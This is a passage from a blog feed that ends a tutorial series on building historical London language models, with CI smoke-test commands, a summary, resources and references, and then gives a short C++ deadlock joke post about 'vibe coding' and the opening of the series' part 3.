&lt;p&gt;If you want to wire this into a lightweight CI gate, keep it simple and CPU-friendly. The goal is not to re-run full benchmarks in CI - it&amp;rsquo;s to catch obvious regressions (can the model load, can it generate, do the evaluators still run).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Minimal CI smoke checks (suggested):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 1) Run a fast, local evaluation pass (no external APIs)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 05_evaluation/run_evaluation.py --mode quick --device cpu
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 2) Run a local inference smoke test from a checkpoint (replace with your path)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_pytorch.py --checkpoint &amp;lt;path-to-checkpoint.pt&amp;gt; --prompt &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, London was&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 3) Optional: test the published model (requires downloading from Hugging Face)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/test_published_models.py --model_name bahree/london-historical-slm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&#34;7-summary&#34;&gt;7. Summary&lt;/h2&gt;
&lt;p&gt;We&amp;rsquo;ve now completed the full cycle of building language models from scratch. This final part has shown how to transform trained models into working systems that can be evaluated, tested, and deployed for real-world use. The journey that began in &lt;a
	
		href = &#34;/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 1
	&lt;/span&gt;
&lt;/a&gt; with using published models, continued through &lt;a
	
		href = &#34;/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2
	&lt;/span&gt;
&lt;/a&gt;&amp;rsquo;s data collection and tokenization, and &lt;a
	
		href = &#34;/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3
	&lt;/span&gt;
&lt;/a&gt;&amp;rsquo;s training architecture, now concludes with evaluation and deployment - the critical final steps that make models usable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What we&amp;rsquo;ve built:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The evaluation, testing, and deployment pipeline provides a practical approach for bringing historical language models from research to deployment. We&amp;rsquo;ve created specialized assessment metrics that go beyond standard LLM evaluation to catch historical inaccuracies, temporal inconsistencies, and period-inappropriate language. The testing infrastructure ensures reliability across different scenarios, while multiple deployment options make the models accessible to researchers, educators, and developers worldwide.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Current Deployment Status:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PyTorch Checkpoint Inference&lt;/strong&gt;: Fully working with both SLM and Regular models&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hugging Face Model Inference&lt;/strong&gt;: SLM published and available, Regular model ready&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Local Testing&lt;/strong&gt;: Both inference methods tested and validated on a remote Ubuntu machine&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documentation&lt;/strong&gt;: Complete guides and examples for all inference methods&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Performance&lt;/strong&gt;: Clean logging, proper model detection, accurate parameter counts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The Complete Pipeline:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This four-part series has demonstrated the complete LLM development lifecycle:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Data Collection&lt;/strong&gt; (&lt;a
	
		href = &#34;/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2
	&lt;/span&gt;
&lt;/a&gt;): We gathered 218+ historical sources spanning 1500-1850, processed them through a sophisticated cleaning pipeline, and created a 500M+ character corpus of authentic historical English.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Custom Tokenization&lt;/strong&gt; (&lt;a
	
		href = &#34;/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2
	&lt;/span&gt;
&lt;/a&gt;): We built a specialized BPE tokenizer with 30,000 vocabulary tokens and 150+ special tokens that understand historical language patterns, London geography, and period-specific terminology.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Model Training&lt;/strong&gt; (&lt;a
	
		href = &#34;/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3
	&lt;/span&gt;
&lt;/a&gt;): We implemented custom GPT architectures, optimized for multi-GPU training, and successfully trained two models - an SLM (117M parameters) and a Regular model (354M parameters) - both capable of generating authentic historical text.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Evaluation &amp;amp; Deployment&lt;/strong&gt; (This Part): We built comprehensive evaluation frameworks that assess historical accuracy, linguistic quality, and temporal consistency. We created a testing infrastructure for reliability and deployed models to the Hugging Face Hub for community access.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;The Learning Journey:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What started as a learning project has become a complete, working system that demonstrates every aspect of LLM development - from raw data collection through model deployment. The principles and techniques we&amp;rsquo;ve covered scale from the 500M-character corpus to production-scale systems, and the evaluation frameworks we&amp;rsquo;ve built can be adapted to any domain-specific language modeling task.&lt;/p&gt;
&lt;p&gt;Whether you&amp;rsquo;re a researcher exploring historical linguistics, an educator teaching AI concepts, or a developer building specialized language models, this series provides the complete toolkit for understanding and implementing LLM development from scratch. The models are published, the code is available, and the journey from data to deployment is complete.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🔗 GitHub Repository&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		github.com/bahree/helloLondon
	&lt;/span&gt;
&lt;/a&gt; - Complete training infrastructure (&lt;strong&gt;&lt;code&gt;04_training/&lt;/code&gt;&lt;/strong&gt;), model architecture (&lt;strong&gt;&lt;code&gt;config.py&lt;/code&gt;&lt;/strong&gt;), and evaluation/deployment (&lt;strong&gt;&lt;code&gt;05_evaluation/&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;06_inference/&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;10_scripts/&lt;/code&gt;&lt;/strong&gt;)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🟥 Series Posts&lt;/strong&gt;: &lt;a
	
		href = &#34;/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 1 - Using the Published Historical Models
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2 - Data Collection &amp;amp; Custom Tokenizer
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3 - Training Architecture &amp;amp; GPU Optimization
	&lt;/span&gt;
&lt;/a&gt; | Part 4 (this post)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🟧 Published Models&lt;/strong&gt;: &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-slm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SLM Model
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-llm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Regular Model
	&lt;/span&gt;
&lt;/a&gt; - Ready-to-use historical language models on Hugging Face&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;📗 Book Reference&lt;/strong&gt;: &lt;a
	
		href = &#34;https://a.co/d/gr87rem&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Generative AI in Action
	&lt;/span&gt;
&lt;/a&gt; - For deeper understanding of core LLM concepts&lt;/p&gt;&lt;/blockquote&gt;
&lt;h2 id=&#34;8-resources&#34;&gt;8. Resources&lt;/h2&gt;
&lt;p&gt;If you want to reproduce the full pipeline (or adapt it to your own domain), these are the most useful starting points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Public GitHub repo&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		github.com/bahree/helloLondon
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Evaluation guide&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/08_documentation/EVALUATION_GUIDE.md&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://github.com/bahree/helloLondon/blob/main/08_documentation/EVALUATION_GUIDE.md
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hugging Face publishing guide&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/08_documentation/HUGGINGFACE_PUBLISHING.md&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://github.com/bahree/helloLondon/blob/main/08_documentation/HUGGINGFACE_PUBLISHING.md
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deployment guide&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/08_documentation/DEPLOYMENT_GUIDE.md&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://github.com/bahree/helloLondon/blob/main/08_documentation/DEPLOYMENT_GUIDE.md
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Published models&lt;/strong&gt;: &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-slm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bahree/london-historical-slm
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-llm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bahree/london-historical-llm
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;references&#34;&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Vaswani et al. (2017) - Attention Is All You Need: &lt;a
	
		href = &#34;https://arxiv.org/abs/1706.03762&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1706.03762
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Radford et al. (2019) - Language Models are Unsupervised Multitask Learners: &lt;a
	
		href = &#34;https://www.semanticscholar.org/paper/Language-Models-are-Unsupervised-Multitask-Learners-Radford-Wu/9405cc0d6169988371b2755e573cc28650d14dfe&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://www.semanticscholar.org/paper/Language-Models-are-Unsupervised-Multitask-Learners-Radford-Wu/9405cc0d6169988371b2755e573cc28650d14dfe
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Lin (2004) - ROUGE: A Package for Automatic Evaluation of Summaries: &lt;a
	
		href = &#34;https://aclanthology.org/W04-1013/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://aclanthology.org/W04-1013/
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Papineni et al. (2002) - BLEU: A Method for Automatic Evaluation of Machine Translation: &lt;a
	
		href = &#34;https://aclanthology.org/P02-1040/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://aclanthology.org/P02-1040/
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hendrycks et al. (2021) - Measuring Massive Multitask Language Understanding (MMLU): &lt;a
	
		href = &#34;https://arxiv.org/abs/2009.03300&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2009.03300
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Zellers et al. (2019) - HellaSwag: Can a Machine Really Finish Your Sentence?: &lt;a
	
		href = &#34;https://arxiv.org/abs/1905.07830&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/1905.07830
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Liu et al. (2023) - G-Eval: NLG Evaluation using GPT-4 with Better Human Alignment: &lt;a
	
		href = &#34;https://arxiv.org/abs/2303.16634&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://arxiv.org/abs/2303.16634
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;acknowledgments&#34;&gt;Acknowledgments&lt;/h2&gt;
&lt;p&gt;This project builds upon the excellent work of the open-source community. Special thanks to &lt;a
	
		href = &#34;https://github.com/haykgrigo3/TimeCapsuleLLM&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		haykgrigo3&amp;rsquo;s TimeCapsuleLLM
	&lt;/span&gt;
&lt;/a&gt; for the initial inspiration and framework for historical language model training, and to &lt;a
	
		href = &#34;https://github.com/karpathy/nanoGPT&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Andrej Karpathy&amp;rsquo;s nanoGPT
	&lt;/span&gt;
&lt;/a&gt; for the foundational GPT architecture and training methodology. The project extends these foundations with specialized adaptations for historical text, including custom tokenizers, advanced data filtering, evaluation frameworks, and educational deployment infrastructure.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Vibe Coding</title>
      <link>/post/2025/11/genai-vibe-coding/</link>
      <pubDate>Sun, 23 Nov 2025 00:00:00 +0000</pubDate>
      
      <guid>/post/2025/11/genai-vibe-coding/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/vibe-coding.png&#34; alt=&#34;vibe-Coding&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deadlock by design: two vibes, two locks, zero unlocks.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In vibe coding, that’s not a bug - it is a feature. 😎&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Here’s what happens when agreement-first engineering meets C++ and mutexes:&lt;/p&gt;
&lt;figure id=&#34;listing1&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;mutex&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;stdexcept&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;mutex mVibes, mProd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;shipToProd&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;bool&lt;/span&gt; agree) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// We lock the vibes and production—because feelings 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// and facts both need exclusive access.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;lock_guard&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt;std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;mutex&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; a(mVibes);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;lock_guard&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt;std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;mutex&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; b(mProd);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (agree) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;cout &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Deploying to prod…&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Reality pushes back:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;throw&lt;/span&gt; std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;runtime_error(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;DeadlockException: vibes vs reality&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;cout &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Ignored tests.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;main&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        shipToProd(&lt;span style=&#34;color:#91d7e3&#34;&gt;true&lt;/span&gt;); &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// agreement-first engineering
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    } &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; (&lt;span style=&#34;color:#c6a0f6&#34;&gt;const&lt;/span&gt; std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;exception&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt; ex) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;cout &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;AI: You&amp;#39;re absolutely right! (&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; ex.what() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;)&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;cout &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/* lock(prod); lock(vibes); // Deadlock achieved; energy immaculate */&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        std&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;cout &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;COMMIT vibes; ROLLBACK sanity;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 1: Two mutexes walk into prod… and never come out&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;#GeekyJokes #AI #GenAI #VibeCoding&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>🏛️Building LLMs from Scratch - Part 3: Training Architecture &amp; GPU Optimization</title>
      <link>/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/</link>
      <pubDate>Sat, 01 Nov 2025 00:00:00 +0000</pubDate>
      
      <guid>/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this third part of our 4-part series on building language models from scratch, I explore the complete training infrastructure that transforms our clean historical data and custom tokenizer into working language models.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;strong&gt;Part 1&lt;/strong&gt;
	&lt;/span&gt;
&lt;/a&gt; How to build a Large Language Model from Scratch - covered using the published model&lt;/li&gt;
